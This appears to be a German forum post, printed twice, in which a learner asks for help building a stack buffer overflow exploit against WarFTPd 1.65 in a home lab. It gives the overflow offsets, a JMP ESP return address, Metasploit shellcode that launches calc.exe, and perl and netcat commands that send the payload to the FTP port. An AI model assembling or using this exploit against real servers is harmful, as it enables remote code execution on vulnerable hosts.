Hallo,
da ich mich mit b0f's einmal näher beschäftigen wollte, habe ich mir den WarFTPd 1.65 runtergeladen und installiert. Zusammen OllyDbg und was man sonst noch alles braucht. Eine DoS Situation herbeizuführen ist nicht so schwer, aber mir ich verstehe noch nicht ganz, wo meine Idee zum gezielten Lenken des Streams scheitert.
Meine Ergebnisse:
|------ 485 bytes buffer ------><--4b EIP---><---80b---><--4b Pointer Next SEH---><--4bSEH--><---68b----|
Zuersteinmal will ich keinen SEH Overwrite provozieren, ergo muss die EIP stimmen, mit findjmp habe ich die ntdll.dll im ESP Register durchsucht. Eine gültige Rücksprungadresse (JMP ESP) wäre bei mir z.B. 0x7c93c35c
Als Shellcode hätte ich folgenden verwendet:
# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
mit
#perl -e 'print "A"x485,"CCCC","DDDD"' > test
#nc -vvn -i2 192.168.0.30 21 < test
[...] Strg + C
Wird in OllyDbg die EIP mit 43434343 also den Cs überschrieben.
Problem: Wie muss ich diese Puzzelteile richtig aneinander fügen, oder wo liegt der Fehler, dass mit NetCat nicht funktioniert? Die RET stimmt auf alle Fälle (Metasploit Plugin auf XP SP2 Target umgeschrieben).
|------ 485 bytes "A" ------><--\x5c\xc3\x93\x7c---><---80b---><--4b Pointer Next SEH---><--4bSEH--><---68b----|
Wo muss ich den Shellcode einbauen, bzw wie? Die 485 byte an Buffer müssen anscheinend ASCII sein, da ich sonst keinen Überlauf mit 485 hinbekomme.
Danke schonmal für die Hilfe, ich bin ehrlich verzweifelt zumals in metasploit nach anpassungen funktioniert?! Was macht Metasploit anders als ich?
MfG
MuFF!/V
da ich mich mit b0f's einmal näher beschäftigen wollte, habe ich mir den WarFTPd 1.65 runtergeladen und installiert. Zusammen OllyDbg und was man sonst noch alles braucht. Eine DoS Situation herbeizuführen ist nicht so schwer, aber mir ich verstehe noch nicht ganz, wo meine Idee zum gezielten Lenken des Streams scheitert.
Meine Ergebnisse:
|------ 485 bytes buffer ------><--4b EIP---><---80b---><--4b Pointer Next SEH---><--4bSEH--><---68b----|
Zuersteinmal will ich keinen SEH Overwrite provozieren, ergo muss die EIP stimmen, mit findjmp habe ich die ntdll.dll im ESP Register durchsucht. Eine gültige Rücksprungadresse (JMP ESP) wäre bei mir z.B. 0x7c93c35c
Als Shellcode hätte ich folgenden verwendet:
# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
mit
#perl -e 'print "A"x485,"CCCC","DDDD"' > test
#nc -vvn -i2 192.168.0.30 21 < test
[...] Strg + C
Wird in OllyDbg die EIP mit 43434343 also den Cs überschrieben.
Problem: Wie muss ich diese Puzzelteile richtig aneinander fügen, oder wo liegt der Fehler, dass mit NetCat nicht funktioniert? Die RET stimmt auf alle Fälle (Metasploit Plugin auf XP SP2 Target umgeschrieben).
|------ 485 bytes "A" ------><--\x5c\xc3\x93\x7c---><---80b---><--4b Pointer Next SEH---><--4bSEH--><---68b----|
Wo muss ich den Shellcode einbauen, bzw wie? Die 485 byte an Buffer müssen anscheinend ASCII sein, da ich sonst keinen Überlauf mit 485 hinbekomme.
Danke schonmal für die Hilfe, ich bin ehrlich verzweifelt zumals in metasploit nach anpassungen funktioniert?! Was macht Metasploit anders als ich?
MfG
MuFF!/V